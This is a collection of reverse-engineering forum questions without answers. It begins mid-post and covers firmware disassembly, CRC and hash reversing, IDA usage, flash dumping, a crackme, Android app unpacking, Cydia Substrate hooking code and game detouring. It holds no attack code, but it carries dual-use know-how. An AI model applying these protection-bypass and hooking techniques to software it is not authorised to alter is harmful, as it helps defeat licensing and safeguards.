AC
</code>```

I have tried disassembling this file for quite a few architectures, but the result does not look like coherent machine code.

Which architecture should I use to disassemble this firmware?

Some info I found:

Endianness should be flipped. This way, the strings at the end are readable.

There are a lot of null bytes, making me wonder if this is even executable code. If it is not, what else could it be? It is supposedly the firmware.

The beginning of the file looks like configuration data. Looking at offset e.g. 0x2000 seems more interesting

http://dl.linux-sunxi.org/touchscreen/GSL1680.pdf Page 9: we learn the MCU has a 32-bit CPU

There are a lot of recurring patterns, such as "00 00 00 01".

Plot of the bytes occurrences (log scale). "Rounds values" (e.g. 0x40,0x60,0x80) appear much more.

I am hopping someone more experiences would recognize the machine code signature of the specific CPU.


问:
Reverse engineer 8 bit check sequence for old unkown protocol
I am using an old piece of hardware which uses an RS485 serial interface. I'm trying to simulate slave node data but I don't have any documentation on the protocol and unfortunately the hardware is not supported any more.

I've got numerous examples of master and slave data for which I've tried to reverse engineer the check sequence but I've not found a match for the algorithm.

Master to Slave examples

```<code>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 A5
04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 A9
06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB
08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AD
</code>```

Slave to Master examples

```<code>80 00 24 F4 67 1E A3 00 00 00 00 3F 00 FB E6 F9 81 BB 17 D1
84 00 00 00 00 00 00 00 00 00 00 00 00 D8 3D 62 FC 6C 7C 84
86 00 00 00 00 00 00 00 00 00 00 00 00 39 7A 9A 05 77 77 6B
88 02 02 02 02 02 02 02 02 00 00 00 00 29 9E EA 45 76 78 21
</code>```

It's clear the first 15 bytes for Master to Slave and first 19 bytes for Slave to Master is the data and the last byte is used as the check sequence. You can see the protocol uses the first byte as an address with the associated reply setting the most significant bit, though the addressing doesn't determine the error check byte algorithm it is included as part of the calculation.

My approach so far includes using the various online CRC and checksum calculators. I also tried to use reveng but have not managed to find a match. Any help would be much appreciated.


问:
Handling __int64 in IDA?
This is probably something very easy that I'm missing.

I have this operation

length_of_userInput = (signed int)(unsigned __int8)userInput >> 1;

And length_of_userInput is currently reading '4LL', type is __int64.

I'm wondering what is the correct type to give IDA to display '4LL' into a readable int?

I've tried inputting int, long (becomes __int64), and all __ints (int8,16,32) with no success.

This is the assembly:

```<code>mov     rax, [rbp+var_6E8]
mov     [rbp+userInputBuffer], rax
mov     rax, [rbp+userInputBuffer]
mov     rcx, [rbp+auth_string_pointer]
mov     [rbp+var_528], rcx
mov     rcx, [rbp+var_528]
mov     [rbp+var_520], rcx
mov     rdx, [rbp+var_520]
mov     [rbp+var_518], rdx
mov     rdx, [rbp+var_518]
mov     [rbp+var_510], rdx
mov     rdx, [rbp+var_510]
movzx   esi, byte ptr [rdx]
and     esi, 1
cmp     esi, 0
mov     [rbp+length_of_userInput], rax
mov     [rbp+var_6F8], rcx
</code>```

(disclaimer: naming might be wrong. I hope not but I'm not sure :/ )

Title: Handling __int64 in IDA?


问:
Likely places to look to find cheap sources of FPGA? Which devices should I open first?
I have a large group of new and old devices and I would like to find a FPGA to start poking around on. What products or types will be likely to have FPGAs in them?</p>

ContentLicense: CC BY-SA 3.0


问:
Dumping flash from a running Cortex-M
I have a working device with a STM32F405ZGT6 in it. I want to dump the software it runs.

As far as I can tell, there's no external flash on the device, so it must be running off of the internal flash.

I've identified the SWD pins on the package and the designers helpfully left tiny attachment points to them.

As someone who's never done this on the hardware side, now what? What hardware do I need to attach to this core? What software? (I keep reading about openocd - is there something better?) How hard of a journey am I starting here?

Any help would be greatly appreciated.

Title: Dumping flash from a running Cortex-M


问:
Decipher hexadecimal GPS coordinates from UDP message
I'm trying to get the GPS lat/long data from a UDP message.  It's captured on a radio dispatch console on a P25 radio system, if that helps.

I captured this UDP message when I sent a simulated emergency from my device, which is supposed to send my user ID and lat/long coordinates.  On the console it shows my user ID and my lat/long so I know it's getting to the console.
The picture is of the UDP message captured on Wireshark.  My user ID is clearly there, so I know its my message, I'm pretty sure it contains the GPS coords, and I'm not sure how to decipher those.  (I've redacted some identifying info fro security by the way).
The coordinates as rendered on the console are Lat: 34°2'56" and Long: 118°10'15" West, and my user ID is 00180011.  In the picture you can see I identified what might be the most significant part of the lat/long degrees, 34 and 118, but I can't get the following bytes to match the minutes and seconds.  I've tried a couple of conversion techniques from hex to lat/long, but none of my answers are making sense.

I converted the lat/long to decimal 34.0489 and 118.1708, but can't get any further.

Thanks for the help.


问:
Can anyone make much sense of this binary for an embedded system?
I want to see if anyone more experienced in reverse engineering and disassembly can take a look at this binary update file I have and maby ether help or just say if it is even possible to reverse it.
In the long run I want to add a missing functionality to it to allow for an AV input

The system in question is a bmw head unit (MMI) that has a main processor: renesas SH3 SH7709A . A secondary 16 bit processor ST10F269-T3. A xilinx FPGA. A most bus controller and dual 32mb flash memory for storage S29JL032H.

The binary in question is a update file that has been converted from intelHEX to binary and then unpacked and can be found at this link: https://drive.google.com/file/d/1J6eLOfW17Sit-7-OnEUH_emWjf-3MIC7/view?usp=drivesdk
It does contain many debugging strings and so on at least. I have attempted some disassembly in IDA pro but would appreciate if someone else could take a look and maby see something obvious we have missed.

More documents, pictures, datacheets, dumps from a system with the same hardware that already has the functionality I want to add and so on can be found here: https://drive.google.com/folderview?id=1ue6Z0G95_-nF3svesaC4yThRse6rIdwk


问:
IDA map one memory address to another
I am trying to reverse engineer firmware for an embedded device. The memory region 0xA0000000-0xA1FFFFFF is mapped to 0x80000000-0x81FFFFF. How do I setup ida to recognise this?</p>

Title: IDA map one memory address to another


问:
How to decompile these LUAs from the Bookworm Adventures games?
I'm trying to decompile the LUCs (customly extensioned LUAs) from both of the games but they won't decompile, they aren't encrypted and use LUA version 5.0.2 (32-bit) according to the game's code. They are headered LuaV with extra bytes of some sort. Anyone willing to help me decompile these files? If so thanks so much.

https://zenhax.com/download/file.php?id=6262 (Vol 1)

https://zenhax.com/download/file.php?id=6251 (Vol 2)


问:
Is there any way to execute Hopper scripts from command line?
What should I do if I have a batch of binaries to decompile with Hopper?
I know how to run a Hopper script in the UI interface, is there any way to run Hopper scripts from command line? Or any other way to decompile a lot of files easily?</p>


问:
OPENOCD Error codes: How do I fix this?
I have a chip I am trying to use JTAG communications with using openOCD. However, I get the following error:

```<code>openocd -f ocd.cfg
Open On-Chip Debugger 0.10.0
Licensed under GNU GPL v2
For bug reports, read
    http://openocd.org/doc/doxygen/bugs.html
Warn : Adapter driver 'buspirate' did not declare which transports it allows; assuming legacy JTAG-only
Info : only one transport option; autoselect 'jtag'
srst_only separate srst_gates_jtag srst_open_drain connect_deassert_srst
Info : Buspirate Interface ready!
Info : This adapter doesn't support configurable speed
Warn : There are no enabled taps.  AUTO PROBING MIGHT NOT WORK!!
Info : TAP auto0.tap does not have IDCODE
Warn : AUTO auto0.tap - use "jtag newtap auto0 tap -irlen 2 -expected-id 0x00000000"
Error: auto0.tap: IR capture error; saw 0x0002 not 0x0001
Warn : Bypassing JTAG setup events due to errors
Warn : gdb services need one or more targets defined
</code>```

I suspect this is due to a poor connection somewhere, but I don't know which lead to suspect. How should I go about debugging this issue?

To be clear I am asking this from the perspective of OpenOCD software, not my hardware:
Why does it expect 0x0001? Can I configure it to expect 0x0002?

Why is it giving up after these two errors?

For the record I am using this config:

```<code>source [find interface/buspirate.cfg]

buspirate_vreg 0
buspirate_mode open-drain
buspirate_pullup 1

buspirate_port /dev/tty.usbserial-A90809RC

</code>```

As my chip is not includes in the /boards directory, I could include a board from there using the source directive.

Title: OPENOCD Error codes: How do I fix this?


问:
Reverse engineer SharePoint hash algorithm
I'm trying to reverse engineer a hash algorithm used by SharePoint 2016 in MSSCrawlUrl database table. I would like to avoid discussions about the idea itself (which I agree goes against SharePoint best practices), the answer is one word: legacy.

In short, that database table contains some URLs and their hashes. SharePoint somehow calculates a hash from values in AccessUrl column (which contains URLs), and puts the result into AccessHash column. The calculation is done by unmanaged (i.e. non-.Net) code.

So far I was able to figure out the following:

AccessHash column definitely contains a CRC-32. In particular, the function is affine, i.e.
hash(a ^ b ^ c) = hash(a) ^ hash(b) ^ hash(c)
where ^ means XOR

I could find a generating polynomial for the hash function (or I believe I could): 0x82608EDB. I used a technique outlined in this article: http://www.cosc.canterbury.ac.nz/greg.ewing/essays/CRC-Reverse-Engineering.html

After that I applied some brute force but couldn't figure out other algorithm parameters. The problem is a little bit more complicated because:

I don’t know the actual encoding that SharePoint uses when it computes hashes. I tried several in my brute force code, but I'm not sure if I'm missing something.

I don't have full control over the sample data, because a source string must be a valid URL (otherwise, SharePoint won't calculate a hash from it).

Here are some examples of URLs and their hashes:

```<code>AccessURL       AccessHash
http://a0       2141537348
http://a1      -1380154216
http://a2       -547891125
http://a4        981557741
http://a8       -169013482
http://aq       -319117100
http://aa        -55893049
</code>```

More examples can be found in this file: https://bitbucket.org/johnnyjob/spreveng/src/master/CrcHack/Program.cs

The code which performs a brute force can be found here: https://bitbucket.org/johnnyjob/spreveng/src/master/

I'm open to any ideas, thanks in advance.


问:
SIGBUS when trying to trace functions?
I am working on a crackme (Mach-O, mac app).

Now, the app itself is weird and I honestly don't really know where to start. There are multiple threads and the main function doesn't really tell me where the serial verification is located.

Instead of going through main, I went through _objc_msgSend and found some interesting functions that print the usual 'you win/you lose'.

If I check the reference of those, I end up here:

```<code>; Segment type: Pure data
000062F4 __inst_meth segment dword public 'DATA' use32
000062F4 assume cs:__inst_meth
000062F4 ;org 62F4h
000062F4 stru_62F4 __objc_method_list <0, 0Eh>   ; DATA XREF: __class:stru_60C4↑o
000062FC __objc_method <offset sel_dealloc, offset aV804, \ ; -[MCAppDelegate dealloc] ...
000062FC                offset __MCAppDelegate_dealloc_>
00006308 __objc_method <offset sel_succeed, offset aV804, \ ; -[MCAppDelegate succeed] ...
00006308                offset __MCAppDelegate_succeed_>
00006314 __objc_method <offset sel_crackDetected, offset aV804, \ ; -[MCAppDelegate crackDetected] ...
00006314                offset __MCAppDelegate_crackDetected_>
00006320 __objc_method <offset sel_fail, offset aV804, \ ; -[MCAppDelegate fail] ...
00006320                offset __MCAppDelegate_fail_>
0000632C __objc_method <offset sel_a, offset aV804, offset __MCAppDelegate_a_> ; -[MCAppDelegate a] ...
00006338 __objc_method <offset sel_b, offset aV804, offset __MCAppDelegate_b_> ; -[MCAppDelegate b] ...
00006344 __objc_method <offset sel_c, offset aV804, offset __MCAppDelegate_c_> ; -[MCAppDelegate c] ...
00006350 __objc_method <offset sel_d, offset aV804, offset __MCAppDelegate_d_> ; -[MCAppDelegate d] ...
0000635C __objc_method <offset sel_e, offset aV804, offset __MCAppDelegate_e_> ; -[MCAppDelegate e] ...
00006368 __objc_method <offset sel_f, offset aV804, offset __MCAppDelegate_f_> ; -[MCAppDelegate f] ...
00006374 __objc_method <offset sel_mk, offset aV804, \ ; -[MCAppDelegate mk] ...
00006374                offset __MCAppDelegate_mk_>
00006380 __objc_method <offset sel_applicationDidFinishLaunching_, \ ; -[MCAppDelegate applicationDidFinishLaunching:] ...
00006380                offset aV12048, \
00006380                offset __MCAppDelegate_applicationDidFinishLaunching__>
0000638C __objc_method <offset sel_window, offset a804_0, \ ; -[MCAppDelegate window] ...
0000638C                offset __MCAppDelegate_window_>
00006398 __objc_method <offset sel_setWindow_, offset aV12048, \ ; -[MCAppDelegate setWindow:] ...
00006398                offset __MCAppDelegate_setWindow__>
00006398 __inst_meth ends
</code>```

Now, unfortunately this doesn't lead me anywhere. I checked the references and found nothing.

After this failed attempt, I tried to trace functions via IDA with the local MacOS debugger.

First thing first, it throws this error just after starting the process:

Unexpected dyld_opcode in the debugger server (init_dyld): 5ffb

I found absolutely no info about this, so I just ignored it.

Then I started the function tracing and got this:

got SIGBUS signal (bus error) (exc.code a, tid 24571)

Now, keep in mind that this is my first 'real' crackme. Everything that I did before was just a command line application, so it was much more straightforward than this.

I am not even sure if 'function tracing' is what I think it is. I was hoping for some kind of function call hierarchy where I could find what exactly called the 'fail' function.

Title: SIGBUS when trying to trace functions?


问:
Vulnerabilities of Binary executed by root
I was given a vulnerable 64bit dynamically linked stripped that runs simple checks to determine the strength of the passwords of users on a linux system.

The app checks if it the EUID is 0 and then creates two POSIX message queues one for the password hashes which it a child process reads using the shadow api and later sends to other worker child processes(#num defined by the user) that perform decryption attempts, and one where the workers send the weak passwords found to another child process that prints them on screen.

As stated in the instructions the app is supposed to be used by administrator users (i.e. root), which by my understanding means it is not a SUID, so no way of priviledge escalation (?).

My problem is that I don't know what to look for besides come kind of race condition or process failure scenario that can cause leakage of hashes or decrypted passwords. Is there anything that can be done by exploiting the Linker ?


问:
Finding the function of test points on a router
I have a BCM3383 based cable router here where I ultimately want to dump the firmware. I have serial access to the broadcom bootloader and the linux console. Login for linux is unkown and telnet does not seem to be available. The device is supposed to run linux and ecos for different functions.
The bootloader prompt shows some options, also for reading memory so I could probably dump it from there. I need to take a closer look at how this could work though. There is no obvious JTAG header.

Anyways, there are multiple small solder blobs labeled TP (test point I guess).

I was wondering what would be the best approach to deduce their function and which tools I would need.
What could be common functions beyond jtag?
How are the individual components generally labeled? When I have TP 1 and 5, do I automatically have also TP 2,3,4 (maybe unlabeled) somewhere? Or are all components grouped together so that I might have C3,R4,SW5 instead?

Are pins which belong to the same function also usually grouped together on the PCB and are their traces/pins on the CPU next to each other? This seems to be at least the case for UART,RAM, USB.

I could maybe exclude some obvious things which are not JTAG like all the traces going from the CPU to other components like RAM, flash ...
There are still lots of other traces which end in unlabeled enameled vias on the PCB.

What I have for the device specifically:

TP 1,3,4 have 3.3 V, TP2 has 0.2 V. They are close to each other and directly under the CPU.

TP282, 8 and 583 are also under the CPU and have 3.3V, 0V and 0.2V.

TP 205,206 and 207,208 are more close to the RAM but don't seem to be connected. They all have 0.2V They are also close to each other but on different sides of the PCB.

TP 6 and 7 have 3.3 V and are close to each other.

There is also a lonely TP 2407 with 3.3V

None of those has anything else connected to it, they come directly from the CPU. I was reading though, that JTAG is usually accompanied by resistors which would exclude JTAG for those TPs ? I don't know if a CPU can also have those internally.


问:
Any way to edit an ELF binary without hex?
So, this is a noob question, I am a complete beginner in this field, so sorry if I'm wasting your time in any way.

I wanted to know, if there is a way to edit an ELF binary without using a hex editor. More specifically, I want to get the Assembly code, and then edit it directly, and then assemble it again.

Normally, I would use objdump and wxHexEditor to patch a few values, but there is a problem - how can I write new instructions, without overwriting the next ones? This is why I wanted to know if I could edit the Assembly code instead of the hex data.

(Please please please note - 80% of what I just said is unclear to me, because I just started to do this stuff. If you can, excuse my lack of knowledge.)


问:
How do I decode arbitrary data from a raw extracted binary?
I have a IoT scale that stores my measurements into records and passes them onto my phone. I was able to read directly off a flash chip and create a binary file. The chipset is ARMv7.

I want to be able to verify my recordings on the device match what I have on my phone.

I ran the binary through strings and was only able to obtain the make and model of the device. I ran it through binwalk and no signatures were detected. I ran an entropy analysis and the entropy doesn't ever seem to be high enough to 1 to contain obfuscation/encryption/compression.

Looking at the hexdump I notice that the first block of data on the binary is ARM execution code and the rest is mostly empty except for some blocks of data. I extracted the binary between multiple recordings and noticed (through diffs) that these blocks of data are created almost on-par with each recording.

The problem im having is that each recording seemingly only adds on 32 bytes of data and none of the hex converts to the measurements or timestamps of the recordings.

What would be the methodology to decode these 32 bytes of data?


问:
Opinions and suggestions regarding malware sandboxes
I'm relatively new in the field of automatic malware analysis and I'd like to ask about hands-on opinions about sandboxes in the following aspects:

extensibility of the product - adding your own modules, interfere in the analysis process, ease of the process inself.

depth of report generation

malware detection evasion and if it is possible to change this logic

performance issues

Till now I've been able to check cuckoobox system and it looks quiet promissing. I'd be glad to heir someones opinion (from personal experience) about that product too.

Thanx in advance.


问:
Is there a way to generate a PE from a web assembly module?
I am in the process of analysing a large web assembly. I have the compiled .wasm file and using the tools available I can convert this to a .wat text representation. Currently, I am doing the following to convert each function within the wasm into its jit-ed assembly code:

```<code>// wasm is the binary; loaded from file
var module = new WebAssembly.Module(wasm);
var code = wasmExtractCode(module);
var regions = code.segments.filter(s => s.kind === 0);
regions.map(function(seg) {
      var segmentcode = code.code.subarray(seg.funcBodyBegin, seg.funcBodyEnd);
      // segmentcode contains the assembly code
});
</code>```

Is there a way of using the code extracted in this way? Ideally, I'd like to generate a PE or some type of file I can drop in Ida and explore and analyse. I understand though that the format of wasm and PE files are fundamentally different and so this is a pretty big ask. If I dump the code from each function into a file and align each function properly, I can open the file in Ida and manually mark the function start and end, and I am then able to analyse it nicely. Doing this for over 27000 functions is a bit of an ask, though...

Any ideas?
TIA


问:
How to retrace Database Changes from a Software
i need to retrace database changes by an specific application.
The database is really big(~8GB) and contains over 300 tables, and some of the tables have > 100 columns. Another Problem is, that the database design isnt beautiful, as example most tables arent converted into the third normal form and columnnames are not meaningful.
I only have a bit reverse experience with patching, debugging, and decompiling win32 PE Files.

Luckily i have a lot experience in manual malware analytics and understand x86_64(Linux) ASM and masm. Hopefully this knowledge will help me in this task.

so, my real question is, what are common approaches to understanding database changes and understanding what the different data mean?


问:
Decrypt ibt.sfi linux firmware(Intel Wireless 8265 Linux Bluetooth)
Why I want to decrypt:

Intel 8265 Bluetooth is likely a RAMUSB device, which needs system to update firmware. I try to transplant this linux firmware to macOS.

Problems I met:

The macOS BT firmware loader needs .hex file. However, I have no idea how this .sfi file is encrypted and I have to extract the filesystem.

What I have done:

To be honest, I am still in alpha stage. I try to make sense how linux deal with the firmware by studying firmware_class.c. Really need some guide here.

readable output by strings -n 10 shows:

```<code>Copyright (c) 1
996-2011 Express
 Logic Inc. * Th
readX ARC600/Met
aWare Version G5
 SN: 3306-09
Processing
#######*******11111118888888???????FFFFFFFMMMMMMMTTTTTTT[[[[[[[bbbbbbbiiiiiiipqr
ssssssszzzzzzz
Starved Poll Normal
oll Starved
BE Poll Normal
BE Poll Resync BE
BE Poll Resync GT
BE Poll Data Idle
BE Poll Data Data
BE Poll Data No Data
GT Poll Normal
GT Poll Resync
(*AB238<)+4567C
Lmp Rsp Pending
?0H6A<Z:S(l.e$~"w
pSC_Thread
pHCI_Thread
pLLC_Thread
pLC_Thread
pSP_Thread
pLEC_Thread
  %(*.1499AEI
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
  !!""##$$%%&&''(())**++,,--..//011223344556778899:;;<<==>??@@ABBCCDEEFFGHHIJJKKLMMNOOPQQRSSTUUVWWXYYZ[[\]^^_``abccdeffghiijkllmnoopqr
Fsstuvwwxyz{||}~
System Timer Thread
../../Sources/Infra/Src/fsmI
../../Sources/Hal/Src/UartRx.c
../../Sources/Ltec/Src/LtecCtrl.c
../../Sources/Ltec/Src/LtecPm.c
</code>```

and hexdump makes no sense to me

link: https://pan.baidu.com/s/171j47ZRdwClu7NwNYRR1kA

password: tffp

Also there's no luck by running binwalk:

```<code>DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
528028        0x80E9C         Copyright string: "Copyright (c) 1"
</code>```

Source:

ibt-12-16.sfi

ibt-12-16.ddc

Additional Details:

ibt-12-16.ddc & ibt-12-16.sfi are loaded in L578 in btintel.c


问:
decompiled android application with only one class [DexProtector]
I'm trying to reverse engineering an android app and it's mostly for an experiment but I have a problem that I can't find a solution or even what is the problem.

I decompiled an app with JADX-gui and the whole app only have a single class named

public class ProtectedMyApplication extends Application

and its a really large file and my IDE can't open it well but on this class file there is a byte[] with almost 2000 lines of bytes I can't find any other classes but in the manifest file I can see the other classes

my questions are :
what is this method? and how can I study it? and is there a way to see the original smali or java code?

UPDATE:

app is using Dexprotecter I think and I watched the changing files and when I start the app there is two folders that will be modify one of them is the encrypted code (a .dat file with a .dex file) and there is another folder named app_outdex and I think this is the decrypted code but I can't catch the file app will remove it immediately is there any way to catch the file? I'm really so dumb in the Linux


问:
IDA Pro - Remote debugging suse enterpris server 10 (glibc2_10 required)
I have a Suse enterprise server 10 on VMWare. I want to remote debug an application in this VM using IDA pro, I already tried these:

Copied linux_server form IDApro into this VM and tried to run it, but it gives this error: linux_server : /lib/libc.so.6 : version 'GLIBC_2.7' not foundn (required by ./linux_server)

Downloaded and extracted glibc2.7 near linux_server and modified Library search path (environment value) and then tried to run linux_server, but it failed with another error.

I think the problem is that linux_server has been compiled using newer versions of glibc, but that version of suse is using older versions.
so I think the question is: How can I remote debug an application in old-linux machines? Is there exists an older version of debugger that runs is such scenarios?


问:
Getting a full trace (every line) from ollydbg
When I use the ollydbg run trace I don't seem to he getting every single line as I expect to. First off let me explain what Iexpect to see:

```<code>Address hexDumb Command comments EAX ECX etc...
0042AD43 BLAH JNZ 00112345 somecomment 01010101 10101010... etc....
0042AD48 FLAH XOR EAX, ECX anothercomment 01010101 10101010... etc...
</code>```

Essentially each line from the CPU window, all of the data that you see for each line.

When I step into each command by hand in ollydbg then I get to see each command of the thousands that are executed. However when I use the run trace I get a hand ful of commands, somewhere in the range of 50 commands.


问:
What changed after Android 8.0?
I compile code below use library Cydia Substrate, and run on a test application, and it works Android 4.4, 5.1, 6.0, 7.0, 7.1. But on Android 8.0+ application does not work with this code, why is that? Why hook does not work in own process?</p>

```<code>#include <jni.h>
#include <CydiaSubstrate.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

long baseAddr(char *soname) //find base address
{
    void *imagehandle = dlopen(soname, RTLD_LOCAL | RTLD_LAZY);
    if (soname == NULL)
        return NULL;
    if (imagehandle == NULL){
        return NULL;
    }
    uintptr_t * irc = NULL;
    FILE *f = NULL;
    char line[200] = {0};
    char *state = NULL;
    char *tok = NULL;
    char * baseAddr = NULL;
    if ((f = fopen("/proc/self/maps", "r")) == NULL)
        return NULL;
    while (fgets(line, 199, f) != NULL)
    {
        tok = strtok_r(line, "-", &state);
        baseAddr = tok;
        tok = strtok_r(NULL, "\t ", &state);
        tok = strtok_r(NULL, "\t ", &state); // "r-xp" field
        tok = strtok_r(NULL, "\t ", &state); // "0000000" field
        tok = strtok_r(NULL, "\t ", &state); // "01:02" field
        tok = strtok_r(NULL, "\t ", &state); // "133224" field
        tok = strtok_r(NULL, "\t ", &state); // path field

        if (tok != NULL) {
            int i;
            for (i = (int)strlen(tok)-1; i >= 0; --i) {
                if (!(tok[i] == ' ' || tok[i] == '\r' || tok[i] == '\n' || tok[i] == '\t'))
                    break;
                tok[i] = 0;
            }
            {
                size_t toklen = strlen(tok);
                size_t solen = strlen(soname);
                if (toklen > 0) {
                    if (toklen >= solen && strcmp(tok + (toklen - solen), soname) == 0) {
                        fclose(f);
                        return (long)strtoll(baseAddr,NULL,16);
                    }
                }
            }
        }
    }
    fclose(f);
    return NULL;
}

long location;

long RealOffset(long offset)
{
    if (location == 0)
    {

        location = baseAddr("/data/app/com.test.test-1/lib/arm/libtest.so");
        if (location == 0)
        {

            location = baseAddr("/data/app-lib/com.test.test-1/libtest.so");
        }
    }
    return location + offset;
}

void orig_func(void*);
void hook_func(void*){
    return;
}

__attribute__((constructor))
void main() {
    MSHookFunction((void *) RealOffset(0x1234C), (void *) &hook_func, (void **) &orig_func); //replace the function
}
</code>```

Title: What changed after Android 8.0?


问:
How to disassemble .mbn files?
I can't disassemble .mbn files using ida pro 7+ if I use some scripts from GitHub than I can't disassemble any function, any help ?
I want to reverse qcom bootloader</p>

Title: How to disassemble .mbn files?


问:
IDA memory mirroring
I am trying to reverse engineer an embedded firmware in IDA. It mirrors memory address 0x80000000-0x81FFFFF to 0xA0000000-0xA1FFFFFF.
How do I setup IDA to recognise memory mirroring.</p>

Title: IDA memory mirroring


问:
Detouring with Unreal Engine 4, importing exe functions
I'm not sure that this is the right SO community to be asking this in, but I thought I'd give it a try. Some friends and I have successfully detoured a game built with UE4 by loading a modified xinput_3.dll. The annoyance is now that types from functions we detour need to be recreated in some method. Up until now, my friends have just been disassembling and recreating on our side of the fence. I had the idea to just compile using the UE4 headers since they're publicly available. I've finagled my way into being able to include their files, but trying to use anything results in unresolved symbols.

Everything is marked __declspec(dllimport) so evidently I need to be linking against something.

Is it possible to link against the game exe to obtain these imports since UE4 is statically linked into it? Alternatively (though all my research suggests not), can UE4 be built into a dll?


问:
Does anyone recognise following (USB,HID?) encoding method?
Im reverse engineering a Keyborard RGB LED Control Software and there is a Library called "HidServ.dll" that seems to be the interface between the Keyboard and the Software. Every Function of that Library is called like this for example:
(This is my translation of the assembler code, the function names are not the real ones)

```<code>int arghash1 = ArgHash(0, arg1, arg1len);
int arghash2 = ArgHash(ahash1, arg2, arg2len);
int arghash3 = ArgHash(ahash2, arg3, arg3len);

int count = HidServ.RequestGetDeviceCount(arg1, arg2, arg3, arghash3, 0);
</code>```

It seems to compute some kind of hash of the first 3 arguments. Heres the the ArgHash function:

```<code>public unsafe static int ArgHash(int startvalue, byte* argumentPtr, int length)
{

    for (int i = 0; i < length; i++)
    {
        startvalue += cryptarray[*(argumentPtr + i)];
    }

    return startvalue;
}
</code>```

So basically the function adds together the values of cryptarray on the indexes of the values of each byte of an argument.

The cryptarray is 256 bytes long and looks like this:

```<code>private static byte[] cryptarray = new byte[]
    {
        0xFD, 0x86, 0xD1, 0xCA, 0xDB, 0xD5, 0xCC, 0x5E, 0x02, 0x0E, 0xE0, 0xB6, 0xA9, 0xF7, 0x6D, 0xA8,
        0xE2, 0x77, 0x0D, 0x09, 0xFE, 0x3D, 0x9A, 0x0B, 0x28, 0x85, 0xDC, 0xC3, 0x52, 0x48, 0x00, 0x01,
        0xBE, 0x79, 0x51, 0xFF, 0xB7, 0x83, 0xA2, 0x14, 0x10, 0x20, 0x82, 0xED, 0xD9, 0x16, 0x43, 0x4F,
        0x1C, 0x90, 0xC6, 0xD8, 0xBF, 0x56, 0x0C, 0x5C, 0xAA, 0xD3, 0x95, 0x0A, 0x73, 0x21, 0x67, 0xEB,
        0xDD, 0xA4, 0x8E, 0x26, 0xB8, 0xF2, 0xE8, 0x25, 0x1F, 0x59, 0x66, 0x1D, 0x61, 0x1E, 0xBB, 0xE5,
        0x99, 0xC5, 0x8F, 0xBC, 0xA6, 0xEE, 0x33, 0xB0, 0x53, 0x89, 0xD0, 0x2E, 0xC7, 0x88, 0xCE, 0x45,
        0x4C, 0xB2, 0x23 ,0x76, 0xB1, 0xF0, 0xF8, 0xCD, 0xFC, 0x06, 0x19, 0x29, 0x37, 0x98, 0x7E, 0x22,
        0xA7, 0xDA, 0x32, 0x60, 0x08, 0x8C, 0x24, 0x8A, 0x84, 0xC4, 0x4A, 0x12, 0x70, 0xB9, 0x49, 0x74,
        0x30, 0xE1, 0x2A, 0x4E, 0x2D, 0x4B, 0x7C, 0x5F, 0x71, 0xC8, 0x04, 0x41, 0x81, 0x63, 0x3F, 0xF3,
        0x6C, 0xF1, 0x8D, 0x9B, 0x6E, 0xAD, 0x6F, 0xB3, 0x38, 0x54, 0x2C, 0x87, 0x64, 0x7B, 0x0F, 0xC9,
        0xFA, 0xC0, 0xDF, 0xFB, 0xF4, 0xD7, 0x07, 0x92, 0x69, 0xC2, 0x7D, 0x1B, 0x80, 0x68, 0xB4, 0x15,
        0x47, 0x50, 0x57, 0x39, 0x3B, 0x2B, 0x5A, 0xD4, 0x13, 0x6B, 0xB5, 0x3E, 0x1A, 0xE3, 0x9D, 0xF9,
        0x17, 0x35, 0x46, 0x78, 0x75, 0xA5, 0x6A, 0x55, 0x9C, 0x4D, 0xEC, 0xA3, 0x36, 0x31, 0xE9, 0xF6,
        0x62, 0xEF, 0x40, 0xC1, 0xBD, 0x94, 0x3A, 0x96, 0x11, 0x97, 0x7F, 0x72, 0x9E, 0x7A, 0xBA, 0xE6,
        0xCF, 0xAF, 0x18, 0x44, 0xEA, 0x03, 0x9F, 0x2F, 0x93, 0xCB, 0x8B, 0xD6, 0xE4, 0x58, 0x5D, 0xA1,
        0x27, 0xE7, 0xAC, 0x91, 0xAB, 0x34, 0x3C, 0x05, 0xAE, 0x5B, 0x42, 0x65, 0xA0, 0xF5, 0xD2, 0xDE
    };
</code>```

Does anyone know which Encryption algorythm this is? Is it the USB CRC5 Algorythm?


问:
Using GDB to trace guest OS inside a hypervisor, the whole running on Qemu - kvm
I use Gdb to trace the execution (breakpoint, single stepping, ...) of a hypervisor OS in Qemu and it works fine so far.

```<code>qemu-system-x86_64 -enable-kvm -display sdl -cpu host -serial my: stdio -m 8192 --bios ../../tool/boot/tianocore.bin -drive format = raw, file = var / run /hypervisor.img -machine q35 -s -S
gdb path/to/hypervisor
target remote: 1234
</code>```

Now, I need to trace the execution of a guest OS in the hypervisor, all run by Qemu. And it does not work.
Yet I added the debugging symbols files related to the OS and I also modified the architecture of the instructions.

```<code>add-symbol-file ~ / Tinycore / vmlinux 0x100000
add-symbol-file bin / munich 0x18000
set architecture i386: x64_32 // because the guest OS is compiled in 32 bits
</code>```

But when execution passes the instructions vmresume, vmlauch and continues in the guest OS, Gdb gets confused, single-stepping does not work anymore and breakpoints end up at uncertain addresses.

Does anyone have an idea of what I missed?

Or is it really impossible?

Is there another way to achieved this?

The hypervisor I'm working on is Genode and the guest OS is Tinycore Linux.

munich is a 32 bits bootloader used to boot the Tinycore Linux.

hypervisor, vmlinux and munich are the binaries compiled with debugging symbols.


问:
How can I dump the output of this register , the MSR - IA32_VMX_PROCBASED_CTLS2 , to see whether unrestricted guest mode is supported/enabled?
How can I dump the output of this register , the MSR -  IA32_VMX_PROCBASED_CTLS2 , to see whether unrestricted guest mode is supported/enabled?

Context is curiosity.

I'm aware that Docker in the case of mac osx, and maybe in the case of Windows, requires unrestricted mode / unrestricted guest mode.

And I read

https://software.intel.com/en-us/forums/virtualization-software-development/topic/277958

"There are a series of MSRs that tell you if a given CPU supports the '1' setting of unrestricted guest and a number of other virtualization features. The specific MSR is IA32_VMX_PROCBASED_CTLS2 and I believe unrestricted guest is bit 7 in the secondary proc controls VMCS field."

